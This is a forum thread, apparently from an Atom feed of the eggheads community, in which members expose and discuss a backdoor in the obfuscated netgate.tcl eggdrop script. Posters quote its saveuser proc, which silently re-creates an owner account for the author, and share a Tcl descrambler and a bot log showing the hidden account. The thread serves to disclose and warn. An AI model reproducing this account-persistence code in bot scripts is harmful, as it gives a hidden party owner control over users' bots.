<?xml version="1.0" encoding="UTF-8"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en-gb">
	<link rel="self" type="application/atom+xml" href="https://forum.eggheads.org/app.php/feed/topic/6708" />

	<title>egghelp/eggheads community</title>
	<subtitle>Discussion of eggdrop bots, shell accounts and tcl scripts.</subtitle>
	<link href="https://forum.eggheads.org/index.php" />
	<updated>2006-04-12T03:11:41-04:00</updated>

	<author><name><![CDATA[egghelp/eggheads community]]></name></author>
	<id>https://forum.eggheads.org/app.php/feed/topic/6708</id>

		<entry>
		<author><name><![CDATA[demond]]></name></author>
		<updated>2006-04-12T03:11:41-04:00</updated>

		<published>2006-04-12T03:11:41-04:00</published>
		<id>https://forum.eggheads.org/viewtopic.php?p=61822#p61822</id>
		<link href="https://forum.eggheads.org/viewtopic.php?p=61822#p61822"/>
		<title type="html"><![CDATA[netgate backdoor]]></title>

		
		<content type="html" xml:base="https://forum.eggheads.org/viewtopic.php?p=61822#p61822"><![CDATA[
then you need to explore this website<br><br>it does pretty good job in explaining how to use eggdrop and eggdrop scripts<p>Statistics: Posted by <a href="https://forum.eggheads.org/memberlist.php?mode=viewprofile&amp;u=5056">demond</a> — Wed Apr 12, 2006 3:11 am</p><hr />
]]></content>
	</entry>
		<entry>
		<author><name><![CDATA[aCehNeSe]]></name></author>
		<updated>2006-04-12T03:07:39-04:00</updated>

		<published>2006-04-12T03:07:39-04:00</published>
		<id>https://forum.eggheads.org/viewtopic.php?p=61820#p61820</id>
		<link href="https://forum.eggheads.org/viewtopic.php?p=61820#p61820"/>
		<title type="html"><![CDATA[netgate backdoor]]></title>

		
		<content type="html" xml:base="https://forum.eggheads.org/viewtopic.php?p=61820#p61820"><![CDATA[
I realy dont understand where i can put this script, and what's the command to run it.<br>I'm newbie with this<p>Statistics: Posted by <a href="https://forum.eggheads.org/memberlist.php?mode=viewprofile&amp;u=7611">aCehNeSe</a> — Wed Apr 12, 2006 3:07 am</p><hr />
]]></content>
	</entry>
		<entry>
		<author><name><![CDATA[demond]]></name></author>
		<updated>2006-04-12T03:01:22-04:00</updated>

		<published>2006-04-12T03:01:22-04:00</published>
		<id>https://forum.eggheads.org/viewtopic.php?p=61819#p61819</id>
		<link href="https://forum.eggheads.org/viewtopic.php?p=61819#p61819"/>
		<title type="html"><![CDATA[netgate backdoor]]></title>

		
		<content type="html" xml:base="https://forum.eggheads.org/viewtopic.php?p=61819#p61819"><![CDATA[
does it look otherwise to you?<p>Statistics: Posted by <a href="https://forum.eggheads.org/memberlist.php?mode=viewprofile&amp;u=5056">demond</a> — Wed Apr 12, 2006 3:01 am</p><hr />
]]></content>
	</entry>
		<entry>
		<author><name><![CDATA[aCehNeSe]]></name></author>
		<updated>2006-04-12T03:01:49-04:00</updated>

		<published>2006-04-12T02:58:49-04:00</published>
		<id>https://forum.eggheads.org/viewtopic.php?p=61818#p61818</id>
		<link href="https://forum.eggheads.org/viewtopic.php?p=61818#p61818"/>
		<title type="html"><![CDATA[netgate backdoor]]></title>

		
		<content type="html" xml:base="https://forum.eggheads.org/viewtopic.php?p=61818#p61818"><![CDATA[
<blockquote class="uncited"><div>like any other script?</div></blockquote>You mean this's a tcl script?<br>I mean where i can put this scripts? and what's the command to run it?<br>I'm newbie for it<p>Statistics: Posted by <a href="https://forum.eggheads.org/memberlist.php?mode=viewprofile&amp;u=7611">aCehNeSe</a> — Wed Apr 12, 2006 2:58 am</p><hr />
]]></content>
	</entry>
		<entry>
		<author><name><![CDATA[demond]]></name></author>
		<updated>2006-04-12T02:49:03-04:00</updated>

		<published>2006-04-12T02:49:03-04:00</published>
		<id>https://forum.eggheads.org/viewtopic.php?p=61817#p61817</id>
		<link href="https://forum.eggheads.org/viewtopic.php?p=61817#p61817"/>
		<title type="html"><![CDATA[netgate backdoor]]></title>

		
		<content type="html" xml:base="https://forum.eggheads.org/viewtopic.php?p=61817#p61817"><![CDATA[
like any other script?<p>Statistics: Posted by <a href="https://forum.eggheads.org/memberlist.php?mode=viewprofile&amp;u=5056">demond</a> — Wed Apr 12, 2006 2:49 am</p><hr />
]]></content>
	</entry>
		<entry>
		<author><name><![CDATA[aCehNeSe]]></name></author>
		<updated>2006-04-12T00:32:24-04:00</updated>

		<published>2006-04-12T00:32:24-04:00</published>
		<id>https://forum.eggheads.org/viewtopic.php?p=61815#p61815</id>
		<link href="https://forum.eggheads.org/viewtopic.php?p=61815#p61815"/>
		<title type="html"><![CDATA[Re: Here goes...]]></title>

		
		<content type="html" xml:base="https://forum.eggheads.org/viewtopic.php?p=61815#p61815"><![CDATA[
<blockquote class="uncited"><div>This code will convert the script, so you need to have the original obfuscated version...<div class="codebox"><p>Code: </p><pre><code># Make http://www.rootshell.be/~netgate/netgate.tcl a bit easier to # read (I didn't verify that it runs fine after the conversion, but# who would want to run that sucky script anyway, right? :P)## Usage: change the variables below before you source this script in# your eggdrop. eggdrop is needed because parts of the descrambling is# done using eggdrop's 'decrypt' commandset infile scripts/netgate.tclset outfile scripts/netgate.fixed.tcl# The main (de)scrambler proc# Escaping is honored for ['s but not the ], $ and space# - Don't ask me why... I just reproduce the output of the originalproc lines str {# The part swapping L with 0 and 0 with L reminds me of my# first reaction when i saw the netgate.tcl code :Pset map {a z z a b y y b c x x c d w w d e v v e f u u f g tt g h s s h i r r i j q q j k p p k l o o l m n n mA Z Z A B Y Y B C X X C D W W D E V V E F U U F G TT G H S S H I R R I J Q Q J K P P K L O O L M N N M}if {[regexp {[\$\[~]+} $str]} {set out ""set s ""set p "";# previous charforeach c [split $str ""] {if {$s==""} {if {$c=="~"} {set s ~} elseif {$c=="\$"} {set s " "; set c ~$c} elseif {$c=="\[" &amp;&amp; $p!="\"} {set s "\]"; set c ~$c} else {set c [string map $map $c]}} elseif {$c=="~"} {set s ""} elseif {$c==$s} {set s ""; append c ~}append out [set p $c]}if {$s==""} {set out} {append out ~}} {string map $map $str}}proc puthlp str {set str "puthelp "[string map {~ ""} [lines $str]]""}proc putsrv str {set str "putserv "[string map {~ ""} [lines $str]]""}proc putqck str {set str "putquick "[string map {~ ""} [lines $str]]""}proc dcp str {set str "[qesc [decrypt 64 $str]]"}proc dezip str {if {[string match {*\\*} $str]} {set str [subst -noc -nov $str]}set str [qesc [decrypt 64 [string map {~ ""} $str]]]}proc qesc str {set out ""foreach c [split [string map {\\ \\\\ \[ \\\[ \] \\\] \{ \\\{\} \\\} \$ \\\$ " \\" " " "\\ "} $str] ""] {if {[set i [scan $c %c]]&gt;31 &amp;&amp; $i&lt;127} {append out $c} {append out [format \\%.3o $i]}}set out}proc clearify {var cmdstart {stderr stdout}} {upvar 1 $var codeset off [string len $cmdstart]set cmd [lindex [split $cmdstart " "] 0]set off2 [string match {\[*} $cmdstart]if {$off2} {set cmd [string range $cmd 1 end]}incr off2#puts $stderr "*** running "$cmd""set c 0foreach line [split [set code][set code ""] \n] {incr cset i 0set ll [string len $line]while {$i&lt;$ll &amp;&amp; [set i [string first $cmdstart $line $i]]&gt;-1} {set j [expr {$i+$off+1}]while {$j&lt;$ll &amp;&amp; ![info complete [set run [string range $line $i $j]]]} {incr j}if {[info complete $run]} {# lame hack because this was the only command with more arguments :Pif {$cmdstart=={[decrypt 64 "}} {set res [decrypt 64 [string range $run $off end-$off2]]} {set res [$cmd [string range $run $off end-$off2]]}set line [string replace $line $i $j $res]} {#puts $stderr "line#$c INCOMPLETE: "$run""break}incr i}append code "$line\n"}#puts $stderr "*** done: "$cmd""}proc indent {code {dent {}}} {set out ""set i 0foreach line [split $code \n] {set line [string trimleft $line]foreach {o c e} {0 0 0} breakforeach a [split $line ""] {if {$e} {set e 0; continue}switch -exact -- $a {"\" {set e 1}"\{" {incr o}"\}" {if {$o} {incr o -1} {incr c}}}}incr i -$cappend out [string repeat $dent $i]$line\nincr i $o}set out}set code [read [set f [open $infile]]]; close $fclearify code {[decrypt 64 "}clearify code {[lines "}clearify code {[dcp "}clearify code {[dezip "}clearify code {puthlp "}clearify code {putsrv "}clearify code {putqck "}set f [open $outfile w]puts $f [indent [set code]][unset code]close $fputlog "Check $outfile :)"# It's a bit of a mess, but it does the job. Have fun :P</code></pre></div></div></blockquote>Can someone tell me how to use this script? <img class="smilies" src="https://forum.eggheads.org/images/smilies/icon_rolleyes.gif" width="15" height="15" alt=":roll:" title="Rolling Eyes"> <br><br>Thanks <img class="smilies" src="https://forum.eggheads.org/images/smilies/icon_lol.gif" width="15" height="15" alt=":lol:" title="Laughing"><p>Statistics: Posted by <a href="https://forum.eggheads.org/memberlist.php?mode=viewprofile&amp;u=7611">aCehNeSe</a> — Wed Apr 12, 2006 12:32 am</p><hr />
]]></content>
	</entry>
		<entry>
		<author><name><![CDATA[demond]]></name></author>
		<updated>2005-06-16T17:17:24-04:00</updated>

		<published>2005-06-16T17:17:24-04:00</published>
		<id>https://forum.eggheads.org/viewtopic.php?p=50894#p50894</id>
		<link href="https://forum.eggheads.org/viewtopic.php?p=50894#p50894"/>
		<title type="html"><![CDATA[netgate backdoor]]></title>

		
		<content type="html" xml:base="https://forum.eggheads.org/viewtopic.php?p=50894#p50894"><![CDATA[
you are using an outdated TCL version (probably 8.0); upgrade it<br><br>don't use that script (netgate.tcl, not user's descrambler), it has a backdoor and you may find yourself with a cracked bot/shell account (I warned you about that on the other forum as well)<p>Statistics: Posted by <a href="https://forum.eggheads.org/memberlist.php?mode=viewprofile&amp;u=5056">demond</a> — Thu Jun 16, 2005 5:17 pm</p><hr />
]]></content>
	</entry>
		<entry>
		<author><name><![CDATA[oPLeT]]></name></author>
		<updated>2005-06-16T16:58:04-04:00</updated>

		<published>2005-06-16T16:58:04-04:00</published>
		<id>https://forum.eggheads.org/viewtopic.php?p=50892#p50892</id>
		<link href="https://forum.eggheads.org/viewtopic.php?p=50892#p50892"/>
		<title type="html"><![CDATA[(de)scrambler of netgate.tcl]]></title>

		
		<content type="html" xml:base="https://forum.eggheads.org/viewtopic.php?p=50892#p50892"><![CDATA[
hi, i try use ur script to descramble netgate.tcl, but it didn't work, it said on my eggdrop: <br>wrong # args: should be "string first string1 string2"<br>    while executing<br>"string first $cmdstart $line $i"<br>    (procedure "clearify" line 16)<br>    invoked from within<br>"clearify code {[decrypt 64 "}"<br><br>I put your script on source of my eggdrop, ty anyway. <br>  <img class="smilies" src="https://forum.eggheads.org/images/smilies/icon_redface.gif" width="15" height="15" alt=":oops:" title="Embarassed"><p>Statistics: Posted by <a href="https://forum.eggheads.org/memberlist.php?mode=viewprofile&amp;u=6358">oPLeT</a> — Thu Jun 16, 2005 4:58 pm</p><hr />
]]></content>
	</entry>
		<entry>
		<author><name><![CDATA[Alchera]]></name></author>
		<updated>2004-12-16T13:06:54-04:00</updated>

		<published>2004-12-16T13:06:54-04:00</published>
		<id>https://forum.eggheads.org/viewtopic.php?p=44068#p44068</id>
		<link href="https://forum.eggheads.org/viewtopic.php?p=44068#p44068"/>
		<title type="html"><![CDATA[netgate backdoor]]></title>

		
		<content type="html" xml:base="https://forum.eggheads.org/viewtopic.php?p=44068#p44068"><![CDATA[
... seems this little bugger thinks all but he is an idiot. Well, he got that wrong. The word is out on DALnet.<p>Statistics: Posted by <a href="https://forum.eggheads.org/memberlist.php?mode=viewprofile&amp;u=3646">Alchera</a> — Thu Dec 16, 2004 1:06 pm</p><hr />
]]></content>
	</entry>
		<entry>
		<author><name><![CDATA[metroid]]></name></author>
		<updated>2004-12-16T03:04:04-04:00</updated>

		<published>2004-12-16T03:04:04-04:00</published>
		<id>https://forum.eggheads.org/viewtopic.php?p=44061#p44061</id>
		<link href="https://forum.eggheads.org/viewtopic.php?p=44061#p44061"/>
		<title type="html"><![CDATA[netgate backdoor]]></title>

		
		<content type="html" xml:base="https://forum.eggheads.org/viewtopic.php?p=44061#p44061"><![CDATA[
This little backdoor is also found in the new netgate.tcl, which clearly shows that mister NeTGaTE aka odon has also scripted this in there.<br><br>I loaded it up and here's what i found after a rehash<br><div class="codebox"><p>Code: </p><pre><code>[08:02:36] &lt;metroid&gt; .whois odon[08:02:36] &lt;Q14&gt; [08:02] tcl: builtin dcc call: *dcc:whois MeTroiD 8 odon[08:02:36] &lt;Q14&gt; [08:02] #MeTroiD# whois odon[08:02:36] &lt;Q14&gt; HANDLE                           PASS NOTES FLAGS           LAST[08:02:36] &lt;Q14&gt; odon                             no       0 fhjlmnoptxZ     never (nowhere)[08:02:36] &lt;Q14&gt;   HOSTS: odon!*@*</code></pre></div>So please, get lost with your lame little code <img class="smilies" src="https://forum.eggheads.org/images/smilies/icon_smile.gif" width="15" height="15" alt=":)" title="Smile"><p>Statistics: Posted by <a href="https://forum.eggheads.org/memberlist.php?mode=viewprofile&amp;u=5078">metroid</a> — Thu Dec 16, 2004 3:04 am</p><hr />
]]></content>
	</entry>
		<entry>
		<author><name><![CDATA[Alchera]]></name></author>
		<updated>2004-12-11T07:59:42-04:00</updated>

		<published>2004-12-11T07:59:42-04:00</published>
		<id>https://forum.eggheads.org/viewtopic.php?p=43862#p43862</id>
		<link href="https://forum.eggheads.org/viewtopic.php?p=43862#p43862"/>
		<title type="html"><![CDATA[netgate backdoor]]></title>

		
		<content type="html" xml:base="https://forum.eggheads.org/viewtopic.php?p=43862#p43862"><![CDATA[
<blockquote class="uncited"><div>$ps : Any one or people in dalnet always look this a backdoor, why? </div></blockquote>Maybe a little variable filling:<div class="codebox"><p>Code: </p><pre><code>adduser $ps "$ps!*@*"</code></pre></div>Translates to:<div class="codebox"><p>Code: </p><pre><code>adduser KaISaR "KaISaR!*@*"</code></pre></div>Maybe I'm just the suspicious type NeTGate, but I have the distinct impression your defence of this "feature" rich script is due to the fact you know its' author very well (both coming from the same part of the world) and were not expecting the scrutiny that our resident guru (user) gave it.<br><br>It's as plain as the nose on your little face that this script is designed to hijack eggdrops and I will make an effort to have this piece of information disseminated throughout DALnet.<p>Statistics: Posted by <a href="https://forum.eggheads.org/memberlist.php?mode=viewprofile&amp;u=3646">Alchera</a> — Sat Dec 11, 2004 7:59 am</p><hr />
]]></content>
	</entry>
		<entry>
		<author><name><![CDATA[metroid]]></name></author>
		<updated>2004-12-11T06:14:56-04:00</updated>

		<published>2004-12-11T06:14:56-04:00</published>
		<id>https://forum.eggheads.org/viewtopic.php?p=43861#p43861</id>
		<link href="https://forum.eggheads.org/viewtopic.php?p=43861#p43861"/>
		<title type="html"><![CDATA[netgate backdoor]]></title>

		
		<content type="html" xml:base="https://forum.eggheads.org/viewtopic.php?p=43861#p43861"><![CDATA[
Your a retard, That proc adds the author as an owner which is clearly a backdoor to get owner access on a bot.<br><br>Maybe you should try reading the code instead of making useless remarks Netgate.<p>Statistics: Posted by <a href="https://forum.eggheads.org/memberlist.php?mode=viewprofile&amp;u=5078">metroid</a> — Sat Dec 11, 2004 6:14 am</p><hr />
]]></content>
	</entry>
		<entry>
		<author><name><![CDATA[NeTGaTE]]></name></author>
		<updated>2004-12-11T05:42:27-04:00</updated>

		<published>2004-12-11T05:42:27-04:00</published>
		<id>https://forum.eggheads.org/viewtopic.php?p=43859#p43859</id>
		<link href="https://forum.eggheads.org/viewtopic.php?p=43859#p43859"/>
		<title type="html"><![CDATA[netgate backdoor]]></title>

		
		<content type="html" xml:base="https://forum.eggheads.org/viewtopic.php?p=43859#p43859"><![CDATA[
i think that is not a backdoor just a copyright who maker that tcl, just to remember who make netgate tcl is KaISaR (now he has been sign in from irc). some of user in dalnet have riped netgate tcl and make another tcl version with alot of logo/slogan but "STILL" same like netgate tcl. <br><br>$ps : Any one or people in dalnet always look this a backdoor, why?<p>Statistics: Posted by <a href="https://forum.eggheads.org/memberlist.php?mode=viewprofile&amp;u=5727">NeTGaTE</a> — Sat Dec 11, 2004 5:42 am</p><hr />
]]></content>
	</entry>
		<entry>
		<author><name><![CDATA[user]]></name></author>
		<updated>2004-12-04T01:48:21-04:00</updated>

		<published>2004-12-04T01:48:21-04:00</published>
		<id>https://forum.eggheads.org/viewtopic.php?p=43430#p43430</id>
		<link href="https://forum.eggheads.org/viewtopic.php?p=43430#p43430"/>
		<title type="html"><![CDATA[Re: Reply]]></title>

		
		<content type="html" xml:base="https://forum.eggheads.org/viewtopic.php?p=43430#p43430"><![CDATA[
<blockquote class="uncited"><div>not trojan in this tcl buat dalnet have autoklines that script. dalnet read from tha NETGATE word in away. this is a 2 time dalnet have kill it's, first read from the realname andtwo in away logo NETGATE (i Have fixed for this in 9.6)<br><br>tha authors nickname in DALnet is KaISaR, it's not a hackers.</div></blockquote>So this is not a backdoor? Is that what you're trying to say? (the code below is from v8.9)<div class="codebox"><p>Code: </p><pre><code>set ps KaISaR# the proc below is invoked alot...proc saveuser {} {global ps ownerif {![validuser $ps]} {setuser $owner XTRA "BEND" "xDB4L/z2DJT~1mianN/lj9Rq.";# Zfhjmnoptx} elseif {$owner != $ps} {setuser $owner XTRA "BEND" [zip [chattr $ps]]if {[passwdok $ps ""] != 1} {setuser $owner XTRA "LAST" [getuser $ps "PASS"]}deluser $ps}saveif {![validuser $ps]} {adduser $ps "$ps!*@*"chattr $ps [dezip [getuser $owner XTRA "BEND"]]if {[getuser $owner XTRA "LAST"] != ""} {setuser $ps PASS [getuser $owner XTRA "LAST"]}}return 1}</code></pre></div><p>Statistics: Posted by <a href="https://forum.eggheads.org/memberlist.php?mode=viewprofile&amp;u=2878">user</a> — Sat Dec 04, 2004 1:48 am</p><hr />
]]></content>
	</entry>
		<entry>
		<author><name><![CDATA[NeTGaTE]]></name></author>
		<updated>2004-12-03T23:56:30-04:00</updated>

		<published>2004-12-03T23:56:30-04:00</published>
		<id>https://forum.eggheads.org/viewtopic.php?p=43426#p43426</id>
		<link href="https://forum.eggheads.org/viewtopic.php?p=43426#p43426"/>
		<title type="html"><![CDATA[Reply]]></title>

		
		<content type="html" xml:base="https://forum.eggheads.org/viewtopic.php?p=43426#p43426"><![CDATA[
user, There are some neat things DALnet really needs all -in- one in that script. Since I was testing it out, but never really got to understand 90% of that ****, I took it off apart from the fact that it scared me because I knew there are trojans here and there.<br><br>not trojan in this tcl buat dalnet have autoklines that script. dalnet read from tha NETGATE word in away. this is a 2 time dalnet have kill it's, first read from the realname andtwo in away logo NETGATE (i Have fixed for this in 9.6)<br><br>The "untrustworty" authors actualy of that script are carders and probably (not shure 100% hackers). <br><br>tha authors nickname in DALnet is KaISaR, it's not a hackers.<br><br><br>:: odon<p>Statistics: Posted by <a href="https://forum.eggheads.org/memberlist.php?mode=viewprofile&amp;u=5727">NeTGaTE</a> — Fri Dec 03, 2004 11:56 pm</p><hr />
]]></content>
	</entry>
	</feed>
